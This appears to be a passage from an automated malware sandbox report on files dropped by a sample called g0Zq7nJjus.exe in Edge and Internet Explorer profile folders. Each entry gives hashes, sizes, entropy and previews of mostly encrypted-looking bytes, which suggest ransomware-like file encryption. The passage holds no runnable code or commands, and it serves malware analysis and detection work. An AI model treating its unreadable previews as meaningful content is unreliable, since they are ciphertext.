....r...Vtl..!..8h.ZT..^,..-0q..........Gs0...:..8..O.....%.S.....(.......m...>..c.2.....d.p..z...ie......@.R..P..u4.^Y..[.a.~....)R@oD......A..u\BF'8.th.R..F......z.oI..D..P.Y...TPS5U(.JqZ:..^?eq..-.Z9@.}...w.........TE..d$....<5...w.@K=....S.;.}N.u.y.....QCfD...~H....x.;..<.1eX.!....bVJ.l.F..OtVC.Y.Nlq..!.......u.g....71.3-..~.E....j.qWl.%.J..:gr.-...=...y.L..........F.1`.<........v1.F.u..I..+..<....j..e.\|.D..:...A.~.=.0..V`]>A9..\|.=H.d.(*..x..'5........$9....."....b.#.{....5..).~.J?....._...v.Y%E.F..Hj......f_CD..-L_.]._...J..WE....._.cZ..'.<gg.2....a.G.....zO'...?.,...).....gB.4...."=M. .3......._....(.6:s...'......Q.g.U..T.s.s..4...#}-.....m...3.B..S...d..0..'.{....._./#n....zq....@!.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\adblock_snippet.js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2649
Entropy (8bit):	7.919931169057246
Encrypted:	false
SSDEEP:	48:oDtf1k+UxWaDpNb+BX9SzAA5VYInSBpWBCAk1NfOnDzhBAHFWRQwe+LD:oV++SAXozAKYWS/WB/AfOAH9Fa
MD5:	0A651D86CDCDE869425D85088FECD350
SHA1:	C291FE2FF28C5347C6400C857BE8B0888603FA97
SHA-256:	60CE7FB485C8BBFC25F4549D906BDDF62515B7B7511B45CA99B1A81470DE7C53
SHA-512:	894A1B0E1BDC0D4DB1360AC1FF8450EB90A8DB861B56A940DF650C7FD034693691D81A04402ECCC434F2473AF42870DBB9D688FE129521157F28AF5B983F7711
Malicious:	false
Preview:	(()=>..h3......V.@..\k..ACK$.]..A..s6E..\|.z..1b......]..K..m...x....&...x]w...+..JnD....q..+......h..'.]...m....yP.........M.....O..!P....)...{LW...gIj-..o.TdI.<vI.6.=D..r.G.nX./..I..3.&........"\|N.....EV..S..."_g.}.._.!.K.S....q...E........1...L..X.Fj[.6...U.Z..q}...mI.D......".7-.~..E...Vq.+[t...`...H......'....&.Z..'!.l.}..c.n.6..O...\z..(.n(...@[mp...N....p....[..h....6..W..m.L]...0l..............%8.#z.r.X.:...>.9(N.....~..5..L..v&..../`L..g<.J..._(."n._.r..FW0G.E.'=K.r..5.`R%..^JG\|.=....%.....#...(.U....q.h........Y...o.M..)....\|....~......Q>.^....P.-\.b?..Sv.GQ=.W#.^.6.Z....1S...v....v.`.0,.w..M....c...4.4./(....~..``..!#..&$.....d!..MO.{..r...f..@..<G.D..s`x.F....wr..Vzlk....E.cy...^.^a..U..#...~.I.`.H..../....ZT.U.W........K....v=Id.A...F]w...^...lM>...L8}.Wn....>.)..({......d..,Lcr..S.$.,....?.:.B..G...c>o..!...P.$....2,../.......+,..P6..B.{g.....#Uo...8..<D#..*".^.G..<....C.xP.X..Q........](.cn.>UKs^.{...V.y;.....o.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.345907691204052
Encrypted:	false
SSDEEP:	12:tCtBCi39OGEMYOQc9fyDldXdjQ1WAkUDqWSUdNcii9a:tCtX8XRe965QWAHM2bD
MD5:	E232FDF1DC5CDE45B6178EA40C740E19
SHA1:	F0AF1F9D87A249D7C14A56CC51977B1EFDC8F53E
SHA-256:	9BCFC76E1D03F95641007AF99553C10B9256AB0F29F3D6B5F7AD21B6FAC90494
SHA-512:	40C2228B25A5AF5A80D7FA7A7FE56AE96E7315BBF77F06DFAE8CBC0571ACE3250A5AB431C08C63B26A0B69931FFB28136E591307A4BBB0FEDCF042C6BB6877CE
Malicious:	false
Preview:	1.2F9.T.2G2.....t0...\Q.'N{....&7r.'....U.s....y1.....4.#...O.$8.......V.;8...Z9^..#.......p._.....r.5.uE.....0.0..U`,'..` 1.r.,.........Q......V..9_n&.H(..K.J.R.bi.F.44....5Y.....9..y..T@<sM...uby.EZ.T-v.....T..sj......'@....8`..\...\|..5B.\.I.....DM1.....].]IS&..>............_../g.G...OW.7.t..-...!f..XmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\manifest.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	450
Entropy (8bit):	7.464644026996272
Encrypted:	false
SSDEEP:	12:Pgm86yzCbz+ifzfsV2+wd7KX6ErlAbeSUdNcii9a:Pgm731fon++6ERkN2bD
MD5:	7B0261B3F10C3647AD4AB8AA0573BD00
SHA1:	8B92C34AC40D509DC6D135E7169764DEAD16F1E0
SHA-256:	3AE8187152887C613922AC9DBC5EF91B26914075D5EC9AFFB61D62C1136ACBDB
SHA-512:	B9D645528407B319EAD2DFAC0880ECF9F3AF11CFF719D48C222DC7C1831C2D91648858679FB53C674B3CB01EF54220BAF9DDA305E1F47DE15322BB851434D43A
Malicious:	false
Preview:	{. "....&.D.u.....^....C.....{.W......<-f.i@f.?OV.=\|{....(...K....8..R....=I..T..?.Nh.C^..<>.@....t]..I..5......dv.aO.."...?R....=.;. .y.1H.a....g..x.-...x....4rx.....iG...l.........A......0...8R).........\|...`......YD...Z....<$...?.CF.#..&=y/.A...ew..)O.g...j.......".......R....3ah...j... +O.W...b..H/X..2+K..K.3..\|i^.$......I.V.w..GZ.l..'I...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\TrustTokenKeyCommitments\2023.9.4.1\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2196
Entropy (8bit):	7.914826371283255
Encrypted:	false
SSDEEP:	48:VPC/UezAI1zdV9zpLPcVDhFHuWJs8x214vCJn4VI5VvH7R0SOXm/D:VyUetzdjzCh57s14vCJr90Str
MD5:	468060C539FDDE328443E75F9EED10E5
SHA1:	4E228AF9F37DF8A0FBE74B4E658548444BE69E6C
SHA-256:	36ADF4D68C77687B4BE12019075593EA0AD51770107503AE45ADC58B907912A0
SHA-512:	74D7AF91A859747870DDB1388AFD6FCBE8A0F7EE04FAFF43BE74944D3646BD2F6D78723F0594236A92652C4CF45FDED2D95DDF0DD038DD26925CBFAFB5064764
Malicious:	false
Preview:	[{"deq~r.!y..S...^j5._mo..C.1.... ....iw-.....a..nN..o..p.F..=s..v...A)...J..d.).....K...!8....Ij.u.?'.q....4..\O.R...,.#.g.p..Wz.w.....]:..rh!..jx..5xY..6;.N6.Q..#IP.q-x0M...j..E...6.....Q..b.P...N j....7.0...........>........d...N...Nr..;.y.5...92..3.......H..1u...wd ...g...\|...Y......3..%..+...B^..T..w..Dq..V.Uk'.....j.B..7=!.Y.;Iq{.f .6..{..fD..A....M4..j.x..i..V}!..?.....LQ..c..\|..2.C.7.%._)1.`..:.....M..7-..YxZ....INn......n....bE'.D...4,....l.....56....Hd..m..m@.....a.c[x=\....I...p&..N.f...$s...>r.....u.._..!....6..x.e8\|S.(..TS...Y.<v.V.`TjV.}.+.....)....'...V....."...^.wTr....5O.T..?]..`....bn.....5..9.^.!. ....'_o.e.......M$.Q...#.a..l...,...n.9.S8..)W..n....^ ..r.QMj.Y.4w6Hr..t.h...\..W...Z.a.....$...a.#.12k..........;0...?od..Dv.....Z...;..H....<..$...n#......#.jM..C~n^p`%.....{._......G..O.fB.%....>...)..l...D...A>.<.....&.[.....H$.o.c...{B..\|8..$.i@..\..e.l.. Q.m..7.o*.....a.......$h.mhPp..K...zs......=.j.`.....Y...VK(vb.u.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	6034
Entropy (8bit):	7.969472521829021
Encrypted:	false
SSDEEP:	96:BZHZJyBbpOc+4SRP2cYhSWtt0HAcKOIsKrGcQaTRNwb/L95TchaTOPpBIartix:BZ5Jkb+f92cYUWtmHAclcQsNa/bTesOa
MD5:	6BA6065CD6A14D8C47008B48AF147F6A
SHA1:	FDB43D05379D6E942F5137C17983E682432C3CE0
SHA-256:	4C2C4752E8B5AD87CC3EDFAF1620F529944477DF187E6753DE5F79BA95286374
SHA-512:	B2BF6587EEC9259FA011D6D223A2FEDB257B6754657DECA4BE9606C1873CC05BD2B4C997F490C882C5FEB9164B704B0119B15BBC4863641E8DD790CC445A267E
Malicious:	false
Preview:	[{"de.k....R....Hv...#...I..#...y.N....{A[...<.@..y.~..q...A.....:#..%.v..G..zx...[...2.J. ..$.....ve:2~.9.c\1...%....Q.,QT.......p+.^J8'\|.._.nkf.......!.bR.z.fF.8.\..:.X.+.1-6I....%jf<...2..y.O..=.-.b...3;-......0{2h+3..:...L..;.;I.+S.I.j..x.....@.A.A..C.MS..(...Z.r.../.8J..r.<.(..ri.....>......n....1].VI.L.....b[...r..W.Rf..?.[,.M.7...^...bwK..T&E..s\|h..}. .k.....P<.shF......ESi1..W ..cz4.....d.^cy.y0.....5..m.....c....<..q.RO.y....}.m/^.N.C.IT..^.9.4/..I... ..._f.....j....Q....:.:.....w......a.d.....9"........c. .=cO..Lu....F...w...........~...4..[.....F...6L..l....V<;.. ..:....O.....a......h..F....#.F6......7\|......G..Y'..@......d...l..@.8...j.0Z.8.B.GxVX....[....\.8.......W......Q.!.Y>V.....&W...?.;!..T/..<.9.....#.5..Q....`...&..?(.....4%$..GA...V......X......w..2..<....v{Vv.'OG..Uv,98..Wi..t..s%ep~...D.c ....q.,.~\.(.@.....W(.....:.r..W0C.....9......p..9N.OT..#. ..j...<~. .D2.)....$.OI....6..`t.4....Z+..i..z4<..VW..R....k@

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.9170720804184
Encrypted:	false
SSDEEP:	48:afrBM5nEd3o6/44J234x8vVREYs0EcquD:uC5no3zgk234x8r3vEQ
MD5:	0ACD9D153C34C5BD7103C91D2DE63610
SHA1:	14C39D14DFA4D93B5F65715AA009C3076141FA22
SHA-256:	1328740D82730B37A36D664EDEC1EACCC2AF851449D8AD525241C8271932BD98
SHA-512:	7AB9993F69D69F17D63AA2F1F36B3BF51BAD2EC2EB4C892732ACB8F61331610DF9DF4C5437ECD0D1EAABDBA4B99A1FBCC83CDB3D4BA72D660EB214C54C67D669
Malicious:	false
Preview:	<?xml.....?e.../[....V...)[T.J.]8...l0.eX...z.....Ve =.V...d.yh.1..%...D.b...1...vz..!f.W...."U2..2t.....\.2..".$.+.A...y.....3r.......S..........4V..f..ao.oU...I.]...2$.O.f..kM.OO....i......o.ic`.k..h....7i..`........2..J..C....O <.=.Y...<`.m<....dug.e.{..b."...Hb..1..{....L.q..j.fAZo..".i.79..z..L..u......._.NV...+/.vi...W...^....D7..].7S.m?q..'...].....DA.u.NwB..Pv..K..R......~".!.X1Xkt._..w..".....-&0z......(....@....\|..U..N..c...3m.^..OS.W....2...y.2...Rz`....].....E{..Yt.%..:..;..j!.......;...]o...^.f..G>..L0...g..(.>.6vz....p..Dv.CS.!....f...F7.U......&p\|>...+.b....N.......?.....1...=.x..G.o.e.y..$..#.R.....$.A....>=.Z.@.%J.q...,\|......+\|\@h0.7_....TsP%..&..f.geMm.#Y.\|..+..............y.....UrO..gy..j^...6.N...%..j.sd.c...LA.?.v\.....\|...@...........<F...'.q./..K............<.....eHX..S...)IX..9Tr.\|.....!H..lAa.(...\..E'=.f.R6.N.4.Q.......u...A6zh....W]P......P..a..7.;=.a.DS<.8.F..F..g-.l...R&V..>.`...V...u

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.chk

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981549794516906
Encrypted:	false
SSDEEP:	192:Dsh5/P0Qn/2Pxxf9qx6fComGj/7yvC9YpKtH5HAEcQbXMf+3dBh:D6/PB/2L9Koxj+vm7AErbcf+3dP
MD5:	9A78FE459967A18B74244B41A5A4B822
SHA1:	9B99D3A6C25795EC407A35510BF819D29F6B4BBE
SHA-256:	070365AD835DA5CD74AC089387F2692B5005B64896B239E4D9556A99F0703AD0
SHA-512:	52512993CF3D9C76B416F2EE828FA1AE183017C8E1FBFE848B8BC12C549CE0C48E04DDD588F0E9AF1F45F297ED55037BC59DA55FEA9167B6B258F69275F8C862
Malicious:	false
Preview:	h..F.".._...+M.HUk...R.?..CT...Fy?...M.`!.P..9.e.....+....E.9..Q.l.~/.1...\|D]..1.I.8.I..+>Uh.E....1..,d7.r...;J.....>..{..\|_q....j....`.L...<..et.#=$.2.1"M.e..... ..A...@...f-.T....#..R.s....N..W..GJP._mj......K6...z..B..IZ.=.$..[...=.z....f6.k.B.j...H..p,(?d^j..n.{.6..&.>...j..F..g.-+:..H@.9...LK.T.;...]9.:N.4.[K....fI..2..qS_qC.....s:.u w.b..)......>...%V.c.)...^.#m..%.6w.2RI..Bm.k.[...1....i,.\|M...g...[.f..6<...N....o,.HO6=..p./.......i...@...(..,..@m..N=.~M...[.V.....;...B.7....x..K.k=.9A.W...f...vI....}...bp.:#.gg.E.x.....lD...g.....X...Q.9.g...z.P/ ......}!...3.E.....n.\|.'V.*...f4....Q..3.......S....s{...jXv..G..J..=..a_\|...!.8.........0'.....x_.P............+P.Jx...VMy.?....&..1.]...-)kXI..Iz.C..!....... .....h.],a7BU...d..yA.....w...j.0...Y....my...........?:h.8.....p.~...J,...$)..V).<.}\...B...K..u....zf.[.Y......?&...?.1Q...Y.+..0.Ku!....m.Lp......5..f.5k........;.......G........zK.....~...k.[".M..j=.9QJ)....$..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.963632305927187
Encrypted:	false
SSDEEP:	3072:O8M611y+lxu4XeemAHB+1H2fjEO5QGTJyJyrsGyN4trmou+O/rPVvYRrDV17i+wJ:bM6eQk4IX1HgjEEkJzGXu/TJ
MD5:	38B19FF0DC37479A05DE56054D40AB7B
SHA1:	4A67D188A4317DDBFD00ADB814BCDA55D4CF8A1A
SHA-256:	7157939F03D9AF16357D9341101E51E48E774786BEA22150A7D4EF6381AAED30
SHA-512:	7901F1D4A1641A4CAC626884A39DA034F5DCBC6B632FBA3508267C860A64E93D92D9FCCCABD22F2D864FF7AABFD10C9E04CF3E115167D64EB41B19B75F9A449C
Malicious:	false
Preview:	.._.... .j........../.$o...X.....e.b.=....pw[_.vO^.:.+.[q"..5.......\.{...6./..!....[.>5.J}0Zw._. j\.<.>. ....XW..i.......\.W.......1_{..izlv..#..H...Q..L5..z(q.VTM..B..7.\|...0.{.B....m.~.w.h.N..\|O..K...7..Z....S.....xQ..v..rh....{ .Y...".FUC.u.K..t...P.Z.k9.r......LBRM+...e.v$[u.b..m.%.\......a..-._g.t..O..{.....37.,.....p....z=....wL....Q'...ca..JN...-...:{P......R..E../..0...<..+.......6...@......HL..).$..`......C.]........g.}..j..I...-.Z.^}..U....J.Q`.Ke..\|.\|ue.B.Q...@....../{F..h..))E.3.(d....y..+e..m5......{...B}...]9.N....R..G...]x_.6j;.../j#.]..F....y.Oq..!.#Z.0g.ud Y..q+-C..~../.4\.g.,...GK+......K{)...c..j.k..$2.%..w.TN....F...t_..pt.F.............f(..-..l.....jC...w.%a.J.9.0.8T#....q&..RmDi..`vR..c.r.R.L.1I..Oq...T&.za..j.....#..h.8.z@.y..N..K...M..VoB.Y.Yd.n.....J.~.(..d.Ph`....S.X.}..5........}......^.))\....8....].M.....p..].......I7..\|..Kg.xE_0..".9._..UH..>......L.. ...w.e,..x..w..Y.2.P..ovV..,.....lXy..#..u.....Qv'.....\..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207023854122014
Encrypted:	false
SSDEEP:	3072:P+HKsdk4pnU6ImRQrjfP9vieTj8hU/lsYnCwwIVfE+FcQdK/LJl9v:PhsnOmRyrP9q48EfCzIxE+Fcn/9Pv
MD5:	88D0BA4CA887B2EA58F13A87451CE1D0
SHA1:	5ACCA9F48E2133F03285FAB28ED5EBF1C5AE7AC3
SHA-256:	477EA64FB4FB1AA60CEE760A6F7DB32C8577FB0F8810F1A5FB82EDDCE50DE30C
SHA-512:	16F074183623507EF0733995918EEA06D24AB44D19B4FAD3FB25E855447DA416F521A3732E74E5E8785540625DF7728CAA1BC970CCF3A5907916DC54776E76E5
Malicious:	false
Preview:	.........U.yo;.r...S>Am..}........V.0....+.L.E....-.)X[$........<.DW.Q.W.I.........r.3..?..{GQI.nI..p....nWBV.=.).....Re.Ry.L..u!.......37.I..7J...j...:.^.i.....m..%....\C.....-.y...~>_..](s.A}q.\|c.......w.P..?...vSY.I.........2....{._.I!(d..(pRZ.<'.O;..`.s.:(.....\|......=..P..~......>....t_.....e.u(Q&.....qL4......p.;..\m...=..s.#+..7L.!.....n.....`.agJ!^..q...^u+>Z.J....&.f....4.c..r.`....N4....G.>.=+.}.h.......pECRN.....u9...e.)P.N....\|....z.-...H..E5w.L..{9....j....7=}j.B.z!.c..En....4w.mR...8..O..{....6..y........W..$D.g...G).YR.bTWn.^......v.x]...1I<..S.2..,..d..d..-E....I......0.Gv.h.H._..2.og..7..J&.;..(.~....;sB1/.g..X.w....jTu.w......A...3..=b,.Y.n......q.yk.H?..W..{...$.j..LOz.T...8..Xt....x.N=...J.....H.....(...-...C.`..=.=A..8......(...~....b\|.p~o..0:/PW\|.-V.U.@B....D._...,..~Q.o....}.$].R..'...<G...........M/.FZ\......~.. .f^.$T(....Ljm.xe.7`'.@..........$.o..(.'k_?....).C'.]..9..6......T.L,G.P..8.ty...6."

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2077709993493873
Encrypted:	false
SSDEEP:	3072:xnrBCfh/IO8ibl9Hpte/1FTfpQqyRL/f8KJEhsx8NokfYL:XYl7hHptYTfQRL/pR874
MD5:	B99B262026F7A51E875599F37142B007
SHA1:	E0C4D85F857FFC58E6F3B3DC9860DD140DD0B4B7
SHA-256:	9CBDFD08532D150191F6F2341B9F0257A0A4171FEAC0A36ED9E38177CA1B0643
SHA-512:	092CE590B51533DEED2A9C2E83508359C99C9CB6822B4B4069C30D88A0AD805CD5E843F53C05DCFB2594D2D7D6E19A18B6C22B804286AC22269F62633EE968AF
Malicious:	false
Preview:	..........mL..".l.VI.^F.S..j..s.o.}6ew7..A~.P.....-<.../S.N.},....3..R.v<..[.T..).)..C...H\.g.....;?...r....FA..w.....j..O.(....;.o...4..>.D..V.....Q..>.h.....U.=x....j.../.v.]t.C...R.8.N.Y....<".17.F...a..4N;OfN.B.;.........\]..\.j.P......8..]A.+.%E@..(....B\q.x.."_../<$.h...[9.j.SH.....5.Y....6.F......@.>Lo...4.2.x3...2s..,.9Yt.(.j.a4.R\|...f..N1.t[T..K\..Q~.m..)7..8.......{........7.-..........]..TD\|0B/..." .t....H.....X....U..,..F.su.L.......D.X.&....k.+I..E..2jQ.y`..,%G...........,........O........nz0..6,..\|.\1."D)......\P.....5E...6.._.*c....!..W8+...U`..}a.s....nSk.JD....T.y....Mn.)oVi.......h..r+[rG.. .P..~....kG._mU=.R(..=..x.b....>..xk..^O...a,.77Gk09U.lmt...[..U..8....p\..D.."...#..q.-A;.K...l.Me..dXggTx.O..{..Q..,.m..7.G..W.M[...;zmI........U....b..KMq...B..Z.....@....WE.x.......J...F.4.E.^.Au....vC...i.}.<..LW.:I[.3P.MF.\6..e/....#$..I.i.....8.<....[.%..Z...8..?U..lfv...."sf.9.\|.U...!M..."..........iQ..V&..<.iq..~.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2072891105710144
Encrypted:	false
SSDEEP:	3072:05U/YLOAnNJzR7xR8KSup6KpOr2J2vAT3I/cHzxfv0:J/YyI97xqN2JlI/cHlfv0
MD5:	30D3F1A30544038F640ACC5C501AEAA7
SHA1:	216148C081332D84FEDB3F6C42224973EE196BC5
SHA-256:	F05D52E85005D62AB2E0314A533987494DCFFA9BA5864DCE0283BA6E0C360F6A
SHA-512:	1B64539B876A9AC355E0D70B98B5629DFF69C7D945D1EC0795DE25482D7B8967FE79593C124DEEC66A84137212B2118F9532CE27E4931770884BF966C5E2A232
Malicious:	false
Preview:	........I...O.p..yJU..!).#?{HJ...xG..<...(....B.5#R.-.~.X.ZMe....@.(XZ.=.P@.Q;A.f\|z.~.L........Pp.........B..0:+...9..>..H..D56P..../........a..5..'.{....).....X..eK.....K....T.r..%....&.....}..........${.......l.:..7.O....i...t.-..._M.P........\..I ...3.D...N..s...'.wm.......;.....+...(..Q.......&.MGCE.....-................u%.......0..E.v}B..r..Z]..........(Gha..r..]x..q".).Ee............j..P..4.G.....B.`.......'....c5e".L.K...y..fv.D../b........B.w.c...^..qN$.E...k.B..w...".moGV..n..i..~<R.&./...`....bG......]..9..,./1.C.^..ND.....D.}su..CN.....A.......B;.d"....S3.T...86'G..w....G.....0T....<...G.p8...%T/\.v.&\%O...7.......hb.....a....m....R.Y...@`...{...hL....h2D....X...K..^.ZB.~...].g.kKF8..t.=.G.3..U..\Z.c.c{]d.z...$.s.......<.J~E...Q&.[.l.........-.\......"..u.e...g.G.#.f....Q.IQS!M!^._.Z../1.. Ra..G.. .KMN.....M5..I.A..].......^...t.G..5...;..^....TE6I..U*..e.j....N0c.?.d;c.4..]O.B.#..bL1..f....r;..Y...o..c.......

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.9458484008944374
Encrypted:	false
SSDEEP:	96:q6rIfnDs440ifJbLf1VrTwXhhlMi047iGGqR:trenQ4/YJ3PEfz
MD5:	9013FADA0CE4913A4B5A80DBFFC0C195
SHA1:	92856539DC60F57424FCB6A405C39B9743D25845
SHA-256:	10A044E7B84F8A69007B6D761C4A26705FA33F57A09718044D9851CE7808D452
SHA-512:	3A64FF6669BDB9CA47AD58941822B8696AAF25E3BDA81DBE065F6F618A4346184E9203347F8A55E00872702ABF1BC9E81E7DE08F386082CD7F6D8405BE44A574
Malicious:	false
Preview:	<?xml...(...s...+...L+.&.3)...........^A.3.G...U.:..@...%J..<.YZ...c....;=nn......U..$......U.)E4.]p..k.z..Q.p.>..(......-....j...,.....g....r(.../..E..s...hx..Vr.......;.....M.......b..\.%)obL..[k.T...=..e..\|.B"R.#...<..s..........4>..=v.1.......L......O...)..f.......o.{......N....[..R...3/.....ny..;.)\|.......!..z..Sq..F.......Y........]S.t...a...fan.J.K.X...\|\|....@(.V..<6E2'....h...<.G\...{.k.I#Dps.J?...#...<.c.............F..S...4....5..0....E.3.2..sa.`...z....1.........wa.!.r}Bk%U5T.W.............T.r.9.8/..D..N....~..`..a..b..P.....kt...&......n...t..-..F....9.\....1WCE=...@.Z.S.\k...!l....s.._y.}0..n).....3S.....i..i.=.....d.. B6..d.....qP#../f..G......".C\| .ac...37=:../7.#.K..T.6 ...gF.R..4n..,.J'P.[.&k_......I...a.......g.&?.h...5..}{.gH.!&T.6.............;B.da.V.Z.......1-....O$.K.J..l.%W.0f.I..u..#....$...x......K7..H...4.@../.....*..QE6.....(ASn.ro.. .2S.H\|.....{`.w.$..+E}Y.F. cX0i....TIg..Gz..E..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	6909
Entropy (8bit):	7.974305814625818
Encrypted:	false
SSDEEP:	192:eaqgGSDUIUtZBx5QHSgMcbq4YSg1Z9GD8:eaqdSo9vZQHX+jSgjUo
MD5:	DA5996879583EE181E485080E3C7FD76
SHA1:	8A8663E73318E82DDADC40A0B6FC213BB53C77FF
SHA-256:	F241E4375AAFE20626789F7E2A117E10E3B9181F85A956D1A8F2BBA9FAA4E33B
SHA-512:	4441B4C8F5BA77F36A4B1491A5A1760E7BB0094610C415FA2E60C4EAFEEC62F5412049ED2E631345B90839333927526F65086EA4D7B93EABBDAFC8FC850B9DF8
Malicious:	false
Preview:	10/05.q\|.....i..r{.>.#.....(..d..w.._a..m..?U...UV..P.. c:..Lu/.".......''.)..H.f._)B.}.;.w.sx~S....2js...?...aW.V\..T..V<$B.i...1_..mU......ay.I....N......x[...4.v2Y./Y[.......n...z...EJ.[..........K.@..g^..~........'>..^nI!...6[A..b...\...m..v..,.. .HW.Z...w7....!S.....TWQ..E0.4g.....b.^.N...U......e..u...J.A..+;S..Z.h......R.B\%.."..Q._......&....l".s..Z.S.Kz..)....T.>.. 8..z.b...S...<(L...$........e.......`'4.;O.fr.......".::...p./.?..\iF..~........q.^..c$.K...A'.eV.(.;7...Z`......O.l.+5.vl..p..<....i)....$i....E..$4...fR.u&c...V',@.....(>..wSq.8<..(.B.l.b.\|.....Vvf.^..\.} .....6.Y^vz..$$....}.z.....?...e.5J 8"..M=."J..?@y,.c.8.........m....W.(d.!...Ec.?:w.P.-Qe1..l.R...ST......Q...E/.(.x...6.a.S........K...'.V......1...fD..!..e5.W.tQit....e..H.....MG.m...4lT.%...jX..?.1.. .7R.c#..%...7..'..-.'......."....)..Fbi...\.2{....iD.'..?.1...Bd..m...o.i..%G.>oG.#.~...!......F_.%)...uw...g.:...g>.>x......o.....N..p.m...2..DbY.."..%....'.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (337), with CR line terminators
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.794194301097701
Encrypted:	false
SSDEEP:	24:Q5Lju6Hh3miFBafcl32HMt8M9LZy0kP+dJVN2bD:MLju6Ba62H/M3NmD
MD5:	DA39EBCB30A1E186DC266F4D583F8A11
SHA1:	5D0089BB697CEF56BEE6FBC3638CE592B5AB5462
SHA-256:	6821D7E37F54ABF0927A6E9F4DAA064756B9529EB597FE5783EC4B2F4B9F70C7
SHA-512:	7EFB02A6E67903FFC6E89BB8216E4D677D1FAF316BB58BE7B5156036B7617DD2E2C1AC1C39DB500CF8780AFCEC9A5D5B2EB4EB2197F1E05D88308D5305B50555
Malicious:	false
Preview:	..1.0']...j.lf.~.B.iH..Bn..O/..V..>..-.."..B..F......j....sl..Kz.].$....e...g...wJ.B.R..e.'a@.U......4..uH...o.5O4..9p\.:.#j...}`....S.N..`..G.....8z.....{:K.yi.....n..b]..`.Z..G......f.=.=5I.w.R..\|.....=...V...._7..<.J.1..Gf&.....e..ou..1....!F.W..\v.........,6P..$pF.(i.I\Z.=..b.zz.l{ka?.g&...J....h7).e.....(.,.....i...+,`.)V..fc...kR......tu).Z....!.r.._I.Y..."..\|[.LA;.r..O5..(........M..._.\|G.6...x..C........5.6.;.HF4 ........pFH..Bt...x....o.J...[.(....z...OF..kxD$9....;O'O.T.bgAi....ub.2O...[.-.*B.MK.'.b..2R.....A..C5...........3.)5t9...H.%.(......D....p)...<.2.u...:.].F..;.....[{..$.^k.FNG.5_.....v.J...y.g:..yV..^.'..+.....!.....]Sy.L..z..R0#K.rb.<.P.Y..<..b)..V4.[(fP02.z9.%...w.=.p...m..vW.j..R0....\|...W_...B{,..h#.....LA..G.i.Y..x..H...9.V\.E5.nu>nU6...Y60.... ..h....?2.#..?.i....:b=L...\|q.D).#.c...& .....B..C...3...s.3.....<.p.E.21...8....r.b.lY...{...`Xb.3...=.#.-..gwsbQZ....A.,...j.._X.@}\|..Ht.3....:.(}.....stl.h...g^.?.A..,.......

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.9013814731835295
Encrypted:	false
SSDEEP:	48:310FNLTOFvGo15Qe4dn3jNpjlzUL4P8laE4D:31+LTW1P+NpVT
MD5:	0A92C1E1AA621824333357BE8F1C9EE3
SHA1:	11C10D11337CF161432A4F06B5F4C3AF63E1E970
SHA-256:	3CCDB3E6F9ED7A6F3D32BF8AEB985DB469E214EB830CADF633386779EFD226EB
